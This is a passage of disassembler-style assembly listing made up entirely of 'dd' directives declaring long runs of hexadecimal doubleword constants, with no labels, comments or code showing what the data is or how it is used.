		dd 85FBFFD9h, 3F4507B2h, 3F1E6FAEh, 0BD56C01Dh,	998D904Dh
		dd 7512D207h, 8257A79Ch, 90D51FA3h, 262CE7h, 994CE5CCh
		dd 0AFA5D13h, 0D3398B79h, 523E12h, 0D937C931h, 1EE687C5h
		dd 0D814CB4Fh, 8C3060E0h, 0B169762Ch, 5CC90B00h, 886726h
		dd 0DD9D745Eh, 54E0790Ah, 8F2DEB00h, 94CCB978h,	8ED30077h
		dd 0D7DFD29Fh, 92004F5Bh, 0A24539B6h, 2DC03Bh, 8B244B90h
		dd 0E8628D6h, 40C52C00h, 0FF525453h, 96DD00FAh,	0ECCE2E7Ah
		dd 887F2D1Eh, 1DFCF098h, 0EED54B01h, 8D2FF49Eh,	758080DEh
		dd 0AFE2D3h, 0C6AED055h, 0E200688h, 0A87D3900h,	0DBCA61C1h
		dd 73DA00DDh, 0CB9B427Eh, 3800ECD9h, 0B0868884h, 295620h
		dd 1F4167BEh, 0CB4A5E73h, 0F8E2893Dh, 0CA035D1Fh, 61FDB580h
		dd 0EC7B4743h, 0DD0C1F1Eh, 0D82981F7h, 0D3FB9B3Ch, 0EC2C2DB9h
		dd 0D03A4112h, 0DD949824h, 1AF550h, 0CD81189Ch,	0F1B2AFF6h
		dd 0DFEF6E00h, 0A0EBB4EAh, 0A1F4FDE4h, 16490022h, 0C6B374Eh
		dd 230C2614h, 0A0C5C940h, 1FC27BB0h, 0C0DAA7ECh, 47F77346h
		dd 1F0FF3F6h, 80C86675h, 3EE992A0h, 0CCFD05E2h,	80A6411Ah
		dd 4E03FEB0h, 5B473100h, 0B5287DF7h, 0BA90010h,	1716FF82h
		dd 5C005697h, 24B69635h, 34FDC30h, 0A96C576Fh, 0AEC81BBCh
		dd 4900D520h, 6E7C7090h, 758410A8h, 34E43Eh, 46FE78A2h
		dd 0C2129D80h, 0CE1FFB00h, 42967BBFh, 0C01000BBh, 0AD5C160Eh
		dd 0A217AFFAh, 6003A1Dh, 0C4838179h, 0EE8700ABh, 0A1CC69B6h
		dd 0F200EB7Dh, 16EC9007h, 0AD59FCh, 0DD56E0F5h,	0A71AC97Ch
		dd 70503707h, 0FEF1AE28h, 7DE4D49Ah, 4AE8D9h, 0A8C5F1D8h
		dd 59A1B9D3h, 6CC33400h, 43130284h, 5B060099h, 0F953CC04h
		dd 0D9014AD3h, 375A6B07h, 21D8BB27h, 0F17B1E3Ch, 0DF9AC00Dh
		dd 1715DE97h, 5F004D7Ah, 34AFD445h, 3B07268h, 6AA78760h
		dd 0CED09A0Eh, 0BB796227h, 53BA6F00h, 37E7F606h, 0B5DA0055h
		dd 0C9A2D3CDh, 0D70F72F4h, 2E30D0B4h, 82F04h, 26B6409h
		dd 439C00B5h, 0A10583C8h, 66032BFCh, 0AFBCB8D1h, 8E89D004h
		dd 68CF004Fh, 0BA115406h, 603E615Ah, 1CA08E97h,	76050021h
		dd 7B90928h, 0D4E19F92h, 0CBB230FCh, 0E500A424h, 0F151A03Bh
		dd 4DC467h, 0F39B0D81h,	7FC28EF2h, 21D16907h, 6CB0DEEBh
		dd 17F91F99h, 0BA59A5h,	915B126Ch, 410061FAh, 0FB32B595h
		dd 836D2Fh, 0D1CC1BA0h,	920E4993h, 0ACB18D00h, 0A574F367h
		dd 69B80084h, 285CD4EFh, 7500922Ch, 98905429h, 1F37BC5h
		dd 0E44576F6h, 0D024E661h, 9900E2A4h, 6F82C49Eh, 641D0Eh
		dd 0C06738CFh, 0D0498588h, 1E154B00h, 0F0170AAh, 654616B1h
		dd 1F8E00F5h, 0A553856Eh, 713CCA00h, 8DEB5ABh, 0C8251E1Ch
		dd 69A14F4Bh, 4A47B0E0h, 563F81A9h, 19C70072h, 8638AC16h
		dd 4CE40090h, 288EB89Bh, 42FC36CDh, 7AC2BD0Fh, 959C80E8h
		dd 3CF410h, 684681B6h, 0C85FE1CDh, 98E7FB00h, 58C29B93h
		dd 0D083001Eh, 68A0A57Fh, 0D74C4891h, 34DE0053h, 390C5E4Eh
		dd 0F0FB7506h, 0AA240046h, 0BEEB9111h, 0D800C5C4h, 61530DA5h
		dd 63845Eh, 1A2C6ED3h, 8B27ACAh, 0E03A2F07h, 1BA0106Fh
		dd 0E6347DAAh, 1F47118h, 9E0A7BFCh, 0D0778485h,	0CF004CCBh
		dd 0D422B281h, 708B588Ch, 3B7A0025h, 5A360112h,	0F500F462h
		dd 0A42808BCh, 3805A1E1h, 1438F8D9h, 8DE2007Bh,	0AFBDAC9Ah
		dd 5D3873EAh, 7E9800D2h, 62EB0A60h, 1B3400BAh, 0ACE05FB9h
		dd 0D41C11E8h, 2740D701h, 2B99FB4Eh, 0FC544FB8h, 106400D1h
		dd 6AB4DC6Eh, 0C4E43DD3h, 2A947780h, 0BF3D11C8h, 54225A00h
		dd 958CD6CFh, 911A0703h, 5008D328h, 62C73658h, 1DC95903h
		dd 3AFD2E1h, 0E7839DD6h, 0B5918876h, 0C191C88Dh, 0B7E60D00h
		dd 53618FF9h, 0B13E001Eh, 0C82D327Fh, 3FF66235h, 0A975F805h
		dd 0C0B01D1Fh, 0FD9328DEh, 3EE4FBh, 5B1CC174h, 0BC296EE1h
		dd 0DA690C26h, 6C5AE000h, 0F80D77CDh, 2237262h,	66521ED4h
		dd 9480EB37h, 45DEF863h, 446DE200h, 77B88CD8h, 68353D4Dh
		dd 509A6002h, 71C00E3Ah, 0D7EE2C82h, 0D0C4A00h,	2F677EEBh
		dd 936305B9h, 809B218Fh, 6A52CE7Ch, 184BED00h, 676B0CDBh
		dd 6C30097h, 0B10BEF53h, 8E00FA66h, 0E25A0FA9h,	81BEC1h
		dd 0DCCAD723h, 3288318Ch, 0ABEBCE03h, 0A8E7905Dh, 0BB017Bh
		dd 6D71787Dh, 96E1575Bh, 0AE9DF800h, 0A402A2DFh, 2980E7E7h
		dd 67C2E5A8h, 7600A1A0h, 0B5C92C75h, 1E7325F1h,	87BE0541h
		dd 921F7E34h, 0E0808720h, 141DC30Ch, 7DC15Ch, 43B3E6DEh
		dd 0FC1668A4h, 0B33009Ah, 7A0EEF45h, 41004FE0h,	29A4F94Dh
		dd 3C1B7534h, 0A1006FDCh, 9C086A4Ch, 700D27Dh, 8244A558h
		dd 31EA1241h, 0BE28B94Eh, 0A63F20B0h, 0FEE9E1C3h, 0C800D59Bh
		dd 0EB46D1A1h, 35FC6Ah,	0CD6E8D75h, 0C4C64D7Bh,	6122418h
		dd 9961690h, 5892662h, 0CCE51B00h, 400FD63Ah, 471522E9h
		dd 59B798BEh, 6F0DE1E0h, 0C0FCB4h, 495FC562h, 320E1D69h
		dd 42107000h, 99EB934Bh, 5470082h, 0FADA412h, 0B900F964h
		dd 525714CDh, 0E03F3E32h, 0A93800FDh, 48CEA2DDh, 2E48A336h
		dd 0FFE002Dh, 0D07B259Eh, 8D0800D7h, 736113D6h,	0F23FE71Eh
		dd 44D2140Eh, 1D9F00FEh, 0FFAB23FDh, 13842635h,	0A28C001Ch
		dd 0E8A32109h, 4860E431h, 0ECE0722Ch, 0FC4F00ACh, 864D1E7Ch
		dd 0B00573C7h, 87A94748h, 272170C0h, 51330010h,	0F00B43F2h
		dd 5200CA3Ch, 0DC6E760h
		dd 3A124F18h, 0A1B89196h, 0E641097Dh, 5A802947h, 21AC0844h
		dd 0DB7D6903h, 0D03DC427h, 0E976E2h, 8B13053Bh,	4808BA0Ch
		dd 5D00E190h, 4FD64746h, 3CEDBBEEh, 10B94EDAh, 0E24A7C80h
		dd 0F552D843h, 2085F000h, 1115F9A3h, 31C7F0Fh, 99E9D3E7h
		dd 62F00922h, 0ED787453h, 80A23338h, 7D752811h,	7D4E5F6h
		dd 9E30C4F8h, 562DE0A4h, 707A322h, 86147524h, 0E747A860h
		dd 0B48401FFh, 2BAB286Eh, 6AC0C2EBh, 9C00D061h,	57A51A42h
		dd 204607h, 0BC647944h,	83E16541h, 0B7290B07h, 0E7F0840Dh
		dd 7E982E5h, 0EFF28F1Ch, 55441252h, 0FB18D760h,	9E630F00h
		dd 15E6B30Ch, 9A7A00FDh, 28D9B6A7h, 0D8FF740Bh,	2F004246h
		dd 3991985Bh, 2D7EAEh, 0E7A2753Bh, 2C18670Fh, 0BDEAAA00h
		dd 0C8DCA54Ah, 70EE0092h, 185F1DBh, 1B01337Eh, 112E8A50h
		dd 0B9D8D96Eh, 0CC4603B5h, 3AE367Ah, 1DD6F388h,	605FE40Fh
		dd 0C739A05Ah, 0E03485h, 0EE46B252h, 0B8B66A20h, 3C31DE00h
		dd 5AD4C647h, 572B9h, 13820BBDh, 1F2E9862h, 471A7900h
		dd 0E0B62BB8h, 55FB04Bh, 2D82BB07h, 0C445C0F2h,	84006E4Ah
		dd 3CC7BF45h, 0A33F89h,	56CC0695h, 0FFFC4CF7h, 0D1A89850h
		dd 0BB43BA00h, 4EBDD2F8h, 36650090h, 849E2ECBh,	17065FDFh
		dd 91A379EAh, 233E00C0h, 78687252h, 160007F8h, 66AC3559h
		dd 1B262F3h, 3EBF9F4Ah,	0FCA3947Dh, 2100EAF5h, 0AEFD4809h
		dd 0D5934Eh, 960FDE7Bh,	60497457h, 0F6C24600h, 67E47510h
		dd 0C998C09Bh, 0E0A04B82h, 8F44FE0Fh, 0E8C1DDFBh, 8030EFCEh
		dd 0B4ECC4h, 427C5575h,	22C6781Dh, 2BCE8CFh, 8123A1B0h
		dd 7EEC2CF4h, 5E0E7C7h,	0CC0DFDh, 5DEB5E52h, 0EA59386h
		dd 0EA556100h, 82726A30h, 0B085F2A2h, 135E0120h, 567AE136h
		dd 4E3420A4h, 0D0DFC800h, 71022A85h, 20B10209h,	1338F1CCh
		dd 0D6AE2468h, 0A86A3F00h, 6BFF6181h, 0A2320199h, 0FDF86C40h
		dd 0B480C67Bh, 88259C1Bh, 60CFEA79h, 0A0F12EF4h, 6FF93AD7h
		dd 21E400A8h, 0BCE32646h, 0C400E262h, 0A3279B2Dh, 6639F7Ah
		dd 926FEC39h, 61007875h, 28A101FCh, 9F0D9Eh, 0F147CFD1h
		dd 67F53409h, 0C8E27300h, 0F49EC503h, 189862h, 96C4B2CAh
		dd 0F392706Bh, 8850FE00h, 393538F9h, 8AD71CCCh,	474DC00Eh
		dd 9F10E98Fh, 0E500F8F4h, 0C379C173h, 0FECB4CC5h, 3DF3EEBEh
		dd 8002FAFh, 0CCE8FD64h, 9A007274h, 2D6D4ED6h, 0BB78B3h
		dd 0AA10F049h, 0D855D5C7h, 8FFD611Fh, 5F7B3600h, 0FC3E96C1h
		dd 0E36E0027h, 0C43DAA2Ah, 9500B1B3h, 4A286431h, 0ECFBFDDDh
		dd 0CFF40076h, 651E2D7Dh, 2301BF89h, 92F4761h, 0B1C4E12Eh
		dd 2A750098h, 0F2E3DF0Eh, 0F4001677h, 52A0A9A2h, 81D511h
		dd 1CFA01B4h, 14AA6A79h, 8D19A800h, 0EA105444h,	0A1E80168h
		dd 0B4CEBA8Ah, 0EFB0D815h, 0D8F1A00Eh, 0B4796AE7h, 884A9A03h
		dd 0D833F3EEh, 7A9322h,	0EDC2B485h, 0F04726FCh,	68040500h
		dd 208214FDh, 0AEF90E28h, 2440CC6Eh, 45080F60h,	4AC3B100h
		dd 252892E1h, 0A5F31EC5h, 9E87416Fh, 0DCEB676Ah, 3905CD60h
		dd 0F53B574Bh, 25D0FC00h, 63219h, 0C516094Dh, 0E24380AAh
		dd 707DFB09h, 90DA00E9h, 123E0E18h, 409F71C1h, 8693A930h
		dd 0F112AD2Ah, 0BB009DB4h, 0E55EED8Fh, 29B11616h, 36C00EBh
		dd 0FCDFE848h, 6B253909h, 0F7C08085h, 790B1CCh,	1EF3F204h
		dd 0B687803Eh, 0D5F6F8DBh, 0D12C76ECh, 8100DB1Bh, 0ADCB597h
		dd 9F9D0052h, 0AAE24B69h, 0E400D893h, 646D4D74h, 1DC5C8h
		dd 0A326068Eh, 0D92957A0h, 0F98F148h, 61C65AF2h, 0E1495D33h
		dd 0AAEDCCh, 0AC017A6Dh, 0C7773269h, 394DC401h,	0C3D516C8h
		dd 387B5E8h, 0E4FAD0AEh, 0F298051Fh, 0E11C3121h, 1C0F53F3h
		dd 0FBC6207Eh, 3C4678ADh, 769268D8h, 7600BA3Ah,	0C6B4BD56h
		dd 0F5FF004Ah, 448AC742h, 712476C5h, 0D425BC1Eh, 0C33D000Fh
		dd 0AED687F1h, 0C554C00Eh, 2C1DA04Bh, 600A8D13h, 0D6550EEFh
		dd 0D1F2642h, 0A600D58Bh, 0C0C3ACE9h, 1D950F8Ah, 0BC4368B8h
		dd 64C86B45h, 723CB28Fh, 80162C58h, 0AC2F1E80h,	3D34E829h
		dd 0FFD220Ch, 6D6A8A86h, 806B0D44h, 0A75292ECh,	0D7008874h
		dd 1A71AB55h, 1A01FBEh,	0AF04EF0Fh, 309E6F50h, 0D18454Ch
		dd 20386C4Bh, 7CEE25Dh,	69B468B0h, 0F865618Eh, 9B60E28Fh
		dd 0EA008A1Eh, 0EB540F2Ah, 0D907F5h, 65056BAAh,	0D233B4B1h
		dd 6000B2EEh, 0A518D06Dh, 1D8019F2h, 0E90BA7h, 0C0F1CF3Eh
		dd 409050C2h, 796CD900h, 0AE33B912h, 114613ECh,	0A6A80481h
		dd 0C44C4050h, 0B0AE2C92h, 0F0E200CEh, 1DBDFE63h, 360018E0h
		dd 0C09FACFCh, 280A3342h, 1C94EBB8h, 0DF417BBEh, 1E818F46h
		dd 72E5C6E0h, 0F13E196Eh, 0E620868Bh, 0F866BCh,	0BA611EF4h
		dd 97B7B83Ah, 0F8EB1400h, 9ECBCC8Ch, 0F4860088h, 0B1E2A284h
		dd 680035BDh, 1E18DFDDh, 73C1EFh, 0E123BA3Ch, 19F41C5Fh
		dd 7B36513h, 0E90C2D00h, 0FD3D2Ch, 7F45C629h, 48A632E7h
		dd 9ED22F00h, 81821F0Eh, 3AEA59h, 0DFB57DBEh, 659668BBh
		dd 1AED9E00h, 1DFF0671h, 60C100A2h, 58A9DCEEh, 6100E2C8h
		dd 8F7C309Ch, 2E3BF3h, 0A9246E6h, 0F225DA55h, 7DD7BB00h
		dd 5CAFA1EAh, 0E81C48EDh, 400CE513h, 0CF05C8B0h, 787E42C6h
		dd 18324B0Eh, 5BDB80F4h, 7E8BE9CDh, 0E85A01DCh,	3C4E1E54h
		dd 7165D4F7h, 56FF7D03h, 0D188E96Bh, 0B8303EB8h, 0BCDD2399h
		dd 0D4653681h, 0CC40EA37h, 0EE1C959h, 0E90AF81Ah, 2AECD8E0h
		dd 0EB00550Ch, 65CA5831h, 73AD6Dh, 0F0EF234Dh, 0FECF21FBh
		dd 4C40C460h, 1DE30CCCh, 0C082A003h, 4986677Ch,	19E04BC8h
		dd 0DE935407h, 631E7895h, 88DDF69Dh, 0B713DE4h,	0E9456627h
		dd 1FF70C80h, 0A0E97E3h, 0A0B9323Ch, 1671E680h,	0A5950030h
		dd 7BFA87C1h, 3907757h,	80A85CE6h, 0E0BF9853h, 44FB19h
		dd 9DE1E09Ah, 1F5A786Fh, 0E7018473h, 1C9ED47h, 14F45505h
		dd 0DE9900A6h, 22E4F44Ch, 980BBD6Dh, 77442BFh, 63F7C871h
		dd 0EED71F1h, 0F80238E0h, 7DBA7424h, 7F4300FFh,	7B7C72BEh
		dd 5E0307D9h, 946ECE22h, 4121BAA2h, 26DDC294h, 84CC88F5h
		dd 69FB00DAh, 0AF7B8775h, 0DF005F7Ah, 2DB9604Fh, 683CF82h
		dd 0F50FA747h, 491DA04Ah, 1F8FF212h, 3120D820h,	33C7005Bh
		dd 0C07E0348h, 18C081FBh, 0DB05BEFEh, 2CB776Eh,	0CEAF602Fh
		dd 8058EFA8h, 93EBA907h, 41A0A5B0h, 0FA569A9Fh,	67810004h
		dd 0CC8D01F2h, 7300794Ah, 59D8E27h, 281E4DE1h, 0F7C76Ch
		dd 769599D9h, 7D4B89F8h, 880C7B00h, 819C2E8Bh, 4DB7C1Fh
		dd 2D358EBCh, 0A210C0EFh, 4817BBF7h, 84405C68h,	650A9319h
		dd 1784763Fh, 35BC5C1h,	0B0DED034h, 0CC0A3E3h, 4204112Dh
		dd 0ABCED91Fh, 0A2808C87h, 0B4E01Ch, 0FBF5195Bh, 419493C5h
		dd 3A075A78h, 0FC7FB886h, 65BC9CC1h, 0F05034h, 0A243DD11h
		dd 0F9302F01h, 8293853Fh, 5398FC14h, 0B4C80A5h,	0EEB21E0Ah
		dd 1FF031Ah, 528BA19Eh,	97A98990h, 981B6500h, 621C576Bh
		dd 14DB00C0h, 0EB6E1576h, 567C2175h, 0F3D3AE01h, 268C9146h
		dd 3EDC7AFDh, 87EF3960h, 0DFB65C03h, 8DA0F4BEh,	610BCD83h
		dd 20700341h, 0C7D88CE4h, 92AE00A6h, 0FEFC8F9Ch, 0EA030142h
		dd 0CE335C6Fh, 0BF6EB040h, 0CF3C03A7h, 0FB41C8A8h, 0EF5EC000h
		dd 2A694512h, 8D3B00E9h, 0AF18F7F8h, 0A6008579h, 30414E91h
		dd 0CD29952h, 272D2FD4h
		dd 20D08110h, 1F550181h, 1BA26CEFh, 0C7A0A1F6h,	0CB601AC1h
		dd 405C0036h, 7F4FBC9Ah, 0E202657Bh, 730EE4F7h,	0C244C052h
		dd 0F6400A56h, 0E8CE9Ch, 500F7FD7h, 411E8A1Bh, 24AC652h
		dd 4287B8C8h, 0E01F63F5h, 0EF999F0h, 0C1C6E682h, 0A9E51379h
		dd 0F6E1E0DAh, 0EA4D5104h, 0F481E28Ch, 5E0A759h, 0BB8A0084h
		dd 2363CAC0h, 0A4AB1545h, 81000B8Bh, 4897A437h,	0F83287Ah
		dd 81F2C1F1h, 598A85h, 0D190A744h, 0AD001220h, 94F1C5B4h
		dd 0B5365h, 0F595BF78h,	89C205E1h, 874EF600h, 0ADDA3A71h
		dd 0F36B0E57h, 3D008AF2h, 0B13EDEF9h, 3219FE30h, 7435B9DCh
		dd 334007C5h, 809B5D4Dh, 0C0A2C344h, 7A4A481Eh,	1AC00B1Eh
		dd 0E7817728h, 0DBAF8B8h, 0B9F44B71h, 0BA040B68h, 48D6CE81h
		dd 0FC22F0B1h, 4E00FD77h, 0E4A5B601h, 1DD9EF5h,	0CEBB1144h
		dd 841CA04Bh, 0D76C8028h, 6A42E208h, 87F72261h,	21F3A423h
		dd 0A23C1E51h, 8583225Ch, 4281CC22h, 456E118Ah,	199F0F11h
		dd 2629174Eh, 0C8200A08h, 8886E413h, 52888EA4h,	5FD988BCh
		dd 44271740h, 19459484h, 0B18E10EEh, 3C417389h,	3A12C323h
		dd 0D67B1480h, 42008857h, 0B526331Ah, 0E7FDA3Eh, 0BC862724h
		dd 0CC0970E0h, 0EA008716h, 545C8BEBh, 74032DFh,	82BD2A42h
		dd 0B90E507Dh, 0EE1C8CBEh, 5CC3DA33h, 0D8944789h, 7CA07246h
		dd 130B00FCh, 0F659E68Fh, 0A4033C48h, 3E235443h, 3DDA825h
		dd 2B1D1F8Ch, 8A15C01Fh, 0D7F75E02h, 56B0C00h, 120A1069h
		dd 44B83F43h, 8800EA58h, 46CE25F2h, 5D0F8115h, 0C07F99C7h
		dd 0FFDBEC5Fh, 8ED00B6h, 86BCCC74h, 9279850Dh, 0CE463700h
		dd 48BFB6Dh, 452C00A7h,	0B9E3585Eh, 4E00A30Dh, 0FDB3DA06h
		dd 24888C86h, 80344644h, 0EC666C5Bh, 0C7007465h, 0F952A521h
		dd 1942483h, 77A401C2h,	80C1628Bh, 0F0E93070h, 78D0E231h
		dd 0B69D0F41h, 0FD403997h, 407B44CDh, 4AA96900h, 0E914B72Eh
		dd 8E8500E1h, 0AD49E3Bh, 0C01DF241h, 8F41B2F6h,	0AC846D66h
		dd 14F330h, 0F3FCED4Ch,	690D53E5h, 63B02300h, 9A375117h
		dd 0C6D313FBh, 2BFC007Fh, 502F9596h, 225C8200h,	413D3ACFh
		dd 0EF5000Dh, 2B9A106Ah, 40E357Ch, 0C0E9D567h, 0B505245Dh
		dd 601C3FF3h, 0FADEC8Ch, 0DB009130h, 14479BA7h,	0A48D8Ah
		dd 6053DCB7h, 855B64A8h, 9C00A07Eh, 2EDEC4C5h, 0A578DCCh
		dd 0C21226E5h, 0D66903AEh, 28C82123h, 5D011C20h, 1E65A73Dh
		dd 4CFCBB72h, 0D87B12h,	5108B26Fh, 0C2D154Fh, 619A000h
		dd 0C65A92FBh, 0E2560E7Eh, 4260B16Dh, 0A495D3C2h, 80F5AC3Bh
		dd 77743327h, 3EE6BB94h, 3D006BB3h, 0AD3BC05Fh,	0C8079097h
		dd 88B20EB8h, 60C19A20h, 7BB903A5h, 70E6F75Ch, 0F9FFE3C0h
		dd 7BEFB3Ch, 0F33E503h,	0F439D460h, 65470042h, 716785B8h
		dd 0B70E19C3h, 0C003A049h, 0CBD7FCC8h, 0E90B3E25h, 0C5E89E8Fh
		dd 789BEE20h, 5A0E0222h, 0E065A439h, 7A9D1124h,	6FFD003Fh
		dd 44070418h, 0A8000B29h, 0DDC3EF1Bh, 0B67606h,	69AF169Fh
		dd 226DB41Ah, 2FE77516h, 199EF202h, 1E6F6007h, 0D9D1EDEh
		dd 405B5E72h, 9CD77B3Fh, 0FA7FADA3h, 8C897301h,	9E466592h
		dd 20952880h, 35370F63h, 3EE45E50h, 38AE1800h, 6659E54Eh
		dd 0DFF0B6h, 0EB228E88h, 320ACDACh, 0B81C4Ch, 628AF676h
		dd 7A61C015h, 0A87F00DAh, 0FDAF049Eh, 474EEAEEh, 7E0002ACh
		dd 7F129C15h, 0AA00298Fh, 1C4ADCF6h, 0BDB38C4h,	0E76D1B71h
		dd 0F6220CFDh, 1020EF2Ch, 0FA8A7811h, 0E26E803Bh, 0A6F92006h
		dd 72D4D8B5h, 0DEE11221h, 30390F44h, 83913EA0h,	0AE1F3F4Ah
		dd 0A1407226h, 3C71ED32h, 9E740093h, 637752E5h,	0B2486E4h
		dd 0BB0010CAh, 0C0656D3Bh, 9CC800C7h, 74CEF725h, 79006FA5h
		dd 0A2327CA1h, 7FEF3CB5h, 3D9D0224h, 205A64C4h,	13C3E090h
		dd 9B61700h, 3AEC65E5h,	0C1F4D4h, 0F35B7852h, 1E58B3A9h
		dd 50AC4B3Ah, 0A8004F88h, 40A71A77h, 0C3015Fh, 8E0D90C4h
		dd 0AFDCFC53h, 0CE1C6A00h, 0D322B7C8h, 0E5450066h, 3EF70D68h
		dd 8B0395A6h, 0EF411E99h, 8969884Fh, 34803B3h, 25874B29h
		dd 0ACC9D4A0h, 354A121Eh, 857D7840h, 0A69273h, 0D6681D4Ch
		dd 0C8E137CFh, 0C0DE2A1Ch, 9E2D7B41h, 1DC0A5BAh, 63320047h
		dd 57FA13D2h, 36EE3EEBh, 0E86B6F00h, 228334E9h,	0DF9E0786h
		dd 4DA5BCh, 723FD8E5h, 0F6E4FA00h, 46FC7A8Bh, 0EC567013h
		dd 0F94E00A8h, 2F06085h, 76002A84h, 7392E9B0h, 0A69779h
		dd 0BF61BA65h, 0DC1F0375h, 0BDEAC900h, 0E1453D6Ch, 9CB80021h
		dd 67A702B5h, 59FE3B3Fh, 9D308E00h, 0D8CE4EF6h,	48B00B89h
		dd 2559701h, 0A06BAA6Bh, 5130D7F4h, 0E5AD00D4h,	0D1DB65BDh
		dd 0B27AD519h, 0A0C97900h, 2CC637F2h, 400A0001h, 0CE28DB0Fh
		dd 3A0084A4h, 2092D703h, 55270A5h, 0D9AF8FBEh, 7962805Dh
		dd 9D0ECD1Fh, 471D11BBh, 77D0A45Ah, 0A3F026h, 79C13503h
		dd 6DE8C46Fh, 0A007076h, 5C224401h, 9E23D8h, 0CF040CF8h
		dd 27376CB5h, 80C0EC3Ch, 0E2023E5Ah, 0D1A4EAh, 219CF848h
		dd 0D9414283h, 8A2E9500h, 30280E17h, 0A7DC2CC7h, 91A40023h
		dd 0FBFA4BB5h, 42006A7Eh, 611B50F5h, 1EB3F805h,	0C0DF4DF0h
		dd 368D1A78h, 0D400E3B5h, 26C4541Dh, 5E9120h, 1A181938h
		dd 6D05A49Eh, 87248200h, 921F70EEh, 5A84003Eh, 0ACE4D9BAh
		dd 0C7001363h, 4697DB0Ch, 0ED22F1h, 0C5FF786Ch,	2685471Eh
		dd 0D6038000h, 0C1F6CC0Fh, 59BB029Ah, 0E176FBE0h, 0A2D340E0h
		dd 2B360400h, 52537DCFh, 1E60079h, 6523A1C9h, 0A5001FFAh
		dd 0D0BBC104h, 1DF9CCC8h, 0CBBAC0F1h, 9187B201h, 89FAF01Ah
		dd 590645E2h, 92F2516Fh, 4FBA0019h, 27C75071h, 0A00024Bh
		dd 0E3741BE8h, 1FE726h,	0D46BBC9Ch, 53EDCD20h, 91A31900h
		dd 0F1357D62h, 0D8B10017h, 6760012Dh, 777C90FCh, 28598A4Ch
		dd 1401843Bh, 6D19325Dh, 50878C61h, 10172671h, 1B68F0AAh
		dd 6BD0D701h, 707CC519h, 2A03E0h, 18F307F5h, 0CEB54976h
		dd 9C1A4B07h, 0BF73B80Eh, 0CA30977Dh, 0E19395h,	3A451426h
		dd 68BD3D77h, 39523400h, 0FEA7BE4Eh, 0B9920FA4h, 0E3A023CCh
		dd 0C779C517h, 2E9C1E1Fh, 183371C7h, 0AF8E1090h, 51ED002Ah
		dd 0EA3CC770h, 4B07CC4Dh, 1AEC8FBh, 0B7F65CA0h,	70BA0041h
		dd 27A2D2E4h, 0F0088EEh, 77E94446h, 68CB1Eh, 8E7865Eh
		dd 3F756515h, 4A497E02h, 4B14079Bh, 6621988Ch, 0BEECAAh
		dd 0C11CBA52h, 4AAF0E42h, 81B67D00h, 7B1E7A45h,	285607EAh
		dd 309CF763h, 4C612210h, 8E09604h, 0E3804AB0h, 3CFF311Eh
		dd 0ABED033h, 5B0D4B80h, 0BD012599h, 3D9CC103h,	0A86D2E8Ah
		dd 0F1B9714h, 494B64DCh, 0C08431E7h, 0C5E93426h, 77066B00h
		dd 0D1C32908h, 52380054h, 2BCC8ADDh, 200A72Eh, 7A99B341h
		dd 50BB73Eh, 0E6756095h, 83C9013Ch, 0C0BD9247h,	0CF0131E4h
		dd 0E3C43882h, 1FD86F41h, 651E0096h, 0C3B694C7h, 0D4F972E8h
		dd 0C8755625h, 2F2B3200h, 0EBF8C036h, 0BCA30067h, 0ECCD312h
		dd 820753CFh, 8DD5B8DBh, 3DE635E0h, 9CAD189Eh, 0F25BE1CDh
		dd 1314FC04h, 5EC069CFh, 0E86101h, 0A3503B2Bh, 5246AF0Fh
		dd 0B4CB842Eh, 201F4E0Fh, 62D97626h, 0B4253E4Bh, 0DC44BC03h
		dd 511D6F96h, 20DED3D4h, 33258BCh, 1A394A2h, 9009FB2Ch
		dd 0EFB282h, 22082DD9h,	3B8DB6D4h, 36FA5500h, 5FD0EEE5h
		dd 0E4050058h, 288C8401h
		dd 7F1D2914h, 3F879F6Fh, 93D0511Fh, 0F9ACAE5h, 5619402Bh
		dd 0E005BEC7h, 0AFFF22D0h, 113AD51Dh, 4FFBB580h, 14B7AEh
		dd 0ABB22B34h, 0FDF5DBE7h, 5C7F530Eh, 0AE44823Ch, 0BFFBC36Ch
		dd 483EB550h, 0C50A0042h, 0D547FA61h, 0C9000B90h, 0E0B80CB2h
		dd 31E9E0Eh, 9F410F17h,	0FA884E29h, 0ED5027F7h,	0CC00DDF8h
		dd 0F956144Ch, 72550E8h, 0A50D3D96h, 2123F55h, 0A661132Ch
		dd 0C5E347E0h, 74078000h, 0AF835868h, 0B1F497h,	0E66A98FFh
		dd 3EC3F91Eh, 36A7FE03h, 1F68B9h, 0A1B8E969h, 0E2D61BDh
		dd 0A9860207h, 650579Bh, 7C2A07h, 0E951E540h, 0C9DB9DFDh
		dd 0C97CF00h, 0A9554725h, 70E201BCh, 129FA895h,	5F9CD852h
		dd 0DC9BAD00h, 3527EFE4h, 5AA30079h, 0C295376Dh, 7400573Fh
		dd 50A161E2h, 1C7DDA8Bh, 40D9EAD0h, 33BF1BF1h, 98000F4Eh
		dd 13E33725h, 710AC7Ch,	0F94A3EAFh, 3092E022h, 0DA906F23h
		dd 0BE9CB903h, 31EBE9h,	1A88B69Ch, 7A4F7767h, 6D120400h
		dd 0D7EC4ED4h, 3C0AF621h, 35801CA8h, 0DCE67B8Fh, 1700978Dh
		dd 58037176h, 91314182h, 2789802Ch, 0CDF35567h,	0FF8E048h
		dd 20A6A2BCh, 0A046AE86h, 530C004Fh, 88F4762Fh,	5E1CA76Ch
		dd 0FD058E66h, 0B4007182h, 0EE6850A3h, 994D146Fh, 0C200A833h
		dd 0CCB57BB0h, 4026C9D3h, 8B00A971h, 0D7A95AE6h, 68060011h
		dd 0DB5FCF16h, 0A709B621h, 794D55h, 0F708DDCh, 0A9050196h
		dd 0BA39D507h, 72EEC099h, 0EAD270FFh, 0D7480900h, 0F38A3E03h
		dd 1F2F1826h, 0E2019073h, 0DE0F6600h, 8D5ABF49h, 97DF0017h
		dd 3FF98FABh, 1900EDC7h, 0D29B7A34h, 152991Bh, 0E106973Bh
		dd 702C0C16h, 6A0940CCh, 86141FEEh, 98D1E9h, 0F588D317h
		dd 3CAA60EBh, 8B341D00h, 699EA882h, 0A37C0078h,	0EA7F6FEFh
		dd 521E8635h, 3A7ED6h, 4FF016FDh, 9CD7363h, 0A44588B1h
		dd 30542780h, 0B701BD8Ah, 77B3AD06h, 0C8BED98Bh, 0FEB27A80h
		dd 0C278554Ch, 67500600h, 5F254882h, 3DE698B3h,	598305B8h
		dd 0FBDDF5ACh, 188E92A8h, 0B530300h, 0CB4ECDC5h, 0E2F8011Eh
		dd 2EDE21B8h, 8D90242Ah, 140F889Ah, 0C09F5542h,	2709735Ch
		dd 0A07F0045h, 0D1E662B4h, 49006052h, 0AA7B6E2Eh, 13C9FAh
